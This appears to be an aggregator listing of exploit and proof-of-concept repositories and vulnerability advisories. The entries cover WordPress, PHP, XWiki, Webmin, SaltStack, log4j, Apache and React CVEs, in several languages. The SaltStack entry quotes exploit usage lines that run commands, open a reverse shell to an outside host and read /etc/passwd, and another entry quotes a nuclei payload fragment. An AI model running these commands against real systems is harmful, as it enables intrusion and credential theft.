Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

Цель проекта: Продемонстрировать полную цепочку атаки на уязвимую установку WordPress, используя CVE-2021-29447 XXE в медиатеке для достижения удалённого выполнения кода и полной компрометации системы. Фаза 1: Разведка и сбор информации Сканирование сети с помощью Nmap: bash Быстрое...

React2Shell-CVE-2025-55182-Testing-Environment

React2Shell CVE-2025-55182 Testing Environment A containerized testing environment for CVE-2025-55182, a critical 10.0 CVSS Remote Code Execution vulnerability in React Server Components. ⚠️ WARNING This environment is intentionally vulnerable and should ONLY be used for: Security research and...

CVE-2024-4577

이것은 CVE-2024-4577의 POC입니다. 이 익스플로잇을 통해 공격자는 RCE 를 수행할 수 있습니다. PHP 8.3 8.3.8, PHP 8.2 8.2.20, PHP 8.1 8.1.29과 같은 PHP 버전에서 인수는 코드에서 확인할 수 있습니다! 이 특정 익스플로잇에 대한 자세한 내용은 nist.gov에서 확인하세요...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 이 저장소는 Webmin 버전 1.580 에 대한 Python proof-of-concept PoC 익스플로잇을 포함합니다. 이 버전은 부적절한 입력 검증으로 인해 원격 명령 실행 RCE에 취약합니다. 취약점은 file/show.cgi 구성 요소에 존재하며, File Manager 모듈에 접근 권한이 있는 인증된 Webmin 사용자 가 루트 권한으로 임의의 OS 명령 을 실행할 수 있게 합니다. 이 PoC는 교육 및 연구 목적 으로 개발되었으며 통제된 실험실...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 마스터 실행: python exp.py --exec-choose master --exec-cmd "whoami" 미니언 실행: python exp.py --exec-choose minions --exec-cmd "whoami" 쉘 획득: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 파일 읽기: python exp.py --read /etc/passwd 파일 업로드: python exp.py...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j 스캐닝 도구 이 도구는 시스템에서 원격 코드 실행 취약점log4j을 식별하는 데 도움이 됩니다. 요구 사항 bash 스크립트를 실행하려면 httpx, subfinder, assetfinder, curl 및 amass를 설치해야 합니다. 설치 1. 간단히 git clone으로 리포지토리를 복제하거나 bash 스크립트를 다운로드합니다. git clone https://github.com/shamo0/CVE-2021-44228.git 2. 파일 권한을 변경합니다. chm...

CVE-2026-96896

The Malcure Malware Shield — Removal, Repair, Monitor WordPress plugin before 19.9.7 does not perform an authorisation check on one of its AJAX actions, allowing users with a subsite administrator role on a multisite network to write and delete arbitrary files in the network's shared filesystem,...

CVE-2026-81655

The Ad Inserter WordPress plugin before 2.8.19 does not correctly restrict access to one of its settings pages, making it reachable by every logged in user under a configuration its own settings allow, and does not filter the content saved there, allowing users with a role as low as subscriber to...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49에서 CVE-2021-42013 취약점Path Traversal & RCE을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다. 이 프로젝트는 Apache HTTP Server 2.4.49에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용exploit하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의...

CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 poc nuclei -target url -t CVE-2025-55182.yaml Изменено на основе nuclei-template Основной код: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 원격 코드 실행 참조: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2023-5044

CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect 어노테이션을 통한 코드 인젝션 먼저, Pod와 Service를 배포해야 합니다: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo args: - "-text=apple" --- kind: Service apiVersion: v1...

EUVD-2026-87899

The Malcure Malware Shield — Removal, Repair, Monitor WordPress plugin before 19.9.7 does not perform an authorisation check on one of its AJAX actions, allowing users with a subsite administrator role on a multisite network to write and delete arbitrary files in the network's shared filesystem,...

CVE-2026-96896 Malcure Malware Shield < 19.9.7 - Multisite Subsite Admin+ Arbitrary File Write and Deletion via wpmr_ajax_request

The Malcure Malware Shield — Removal, Repair, Monitor WordPress plugin before 19.9.7 does not perform an authorisation check on one of its AJAX actions, allowing users with a subsite administrator role on a multisite network to write and delete arbitrary files in the network's shared filesystem,...

CVE-2026-96896 Malcure Malware Shield < 19.9.7 - Multisite Subsite Admin+ Arbitrary File Write and Deletion via wpmr_ajax_request

The Malcure Malware Shield — Removal, Repair, Monitor WordPress plugin before 19.9.7 does not perform an authorisation check on one of its AJAX actions, allowing users with a subsite administrator role on a multisite network to write and delete arbitrary files in the network's shared filesystem,...

CVE-2026-96896

The Malcure Malware Shield — Removal, Repair, Monitor WordPress plugin, in versions before 19.9.7 , contains a vulnerability where it fails to perform an authorization check on the wpmr_ajax_request AJAX action. This allows users with a subsite administrator role on a multisite network to perform...

CVE-2026-81655 Ad Inserter 2.8.12 - 2.8.18 - Subscriber+ RCE / Stored XSS via Global Custom Fields

The Ad Inserter WordPress plugin before 2.8.19 does not correctly restrict access to one of its settings pages, making it reachable by every logged in user under a configuration its own settings allow, and does not filter the content saved there, allowing users with a role as low as subscriber to...

EUVD-2026-87886

The Ad Inserter WordPress plugin before 2.8.19 does not correctly restrict access to one of its settings pages, making it reachable by every logged in user under a configuration its own settings allow, and does not filter the content saved there, allowing users with a role as low as subscriber to...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182에 대한 PoC Usage: python3 poc.py -u http://target.com --cmd "" 법적 고지 이 도구는 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 요구 사항 pip install requests 사용법 이 도구는 세 가지 모드로 실행할 수 있습니다:...